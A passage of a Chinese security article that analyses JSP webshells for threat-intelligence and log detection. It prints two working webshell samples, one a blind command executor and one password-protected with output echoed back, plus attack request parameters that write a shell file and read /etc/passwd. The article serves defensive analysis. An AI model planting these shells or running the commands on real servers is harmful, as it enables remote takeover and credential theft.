几种典型 JSP WebShell 的深度解析

作者:CQITer小编 时间:2018-02-08 01:18

字号

对于一条威胁情报信息,我们需要分析该攻击的指纹信息、相关攻击工具、属于哪个组织、相关历史事件、历史相关攻击源IP等信息。通过这些信息进行关联分析,找到攻击来源。并根据攻击组织或个人的攻击偏好,做出相应的安全防护及进一步追踪溯源。

本文分析 Jsp WebShell 样本是通用型的,不需关注制作者是谁。但需要分析该 WebShell 的指纹、利用方式、相关工具等信息。

正文

环境搭建:

VMware + Windows XP iso + JspStudy / (Tomcat + JDK 1.7 + Mysql ),XP 设置桥接模式+虚拟机内配置 IPv4 与本机相同 C 段 IP。

创建相关 WebShell 文件,使用 JspStudy 方式搭建环境,文件置于 JspStudy \ WWW 目录下。使用 Tomcat + JDK 1.7 + Mysql 方式,将文件置于 apache-tomcat-7.0.82 \ webapps \ ROOT 目录下。

本文将分析 4 个典型的JSP WebShell。分别是:

(1)无回显执行命令

(2)有回显带密码验证

(3)远程执行下载文件

(4)菜刀型 WebShell

1.无回显执行命令的WebShell

代码如下:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

打开 FireFox,连接该 WebShell页面显示空。使用 hackbar 执行指令:

image.png

执行成功,创建 c.txt 文件:

image.png

1.1 代码分析

Runtime.getRuntime().exec() 方法是 Java 中用于执行外部的程序或命令的函数。Runtime.getRuntime().exec共有六个重载方法,此次实验,我们使用第一个重载方法,仅传入字符串型指令。

request.getParameter("i") 方法是获取 URL 中传入的参数的值。方法中已指定参数 i ,因此只接受参数 i=xxxx。

根据代码分析,可以得知该 WebShell 功能为执行系统命令,无输出内容显示。权限为 Administrator。

1.2 特征分析

该 WebShell 只能执行系统命令,且无法在页面显示。因此当攻击者使用该 WebShell 时,Web 日志、Waf 及 DPI 等设备将会发现攻击者GET/POST请求该 URL,并且传入系统命令。

下面是在不同操作系统中利用该WebShell执行系统命令的例子,基于该行为特征,在日志中可发现该类型的 JSP WebShell。Windows系统请求参数

cmd /c echo xxxx(WebShell代码)>shell.jsp

Linux系统请求参数

cat /etc/passwd >1.txt(网页访问该文件,得到账户密码)

2.有回显带密码验证

代码如下:

<% if("023".equals(request.getParameter("pwd"))) { java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } %>

连接 WebShell,使用密码 023 及指令 ipconfig。页面回显出执行命令后的结果:

image.png

2.1 代码分析:

密码为 023,通过获取传入的 pwd 参数的值。使用 equals 方法进行比较:

"023".equals(request.getParameter("pwd"))

执行i参数传入的指令,将会返回数据。通过 getInputStream() 方法获取数据的字节流:

Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

创建字节数组,用于存储字节数据。且该数组大小为 2048 字节:

byte[] b = new byte[2048];

责任编辑:CQITer新闻报料:400-888-8888   本站原创,未经授权不得转载
继续阅读
热新闻
推荐
关于我们联系我们免责声明隐私政策 友情链接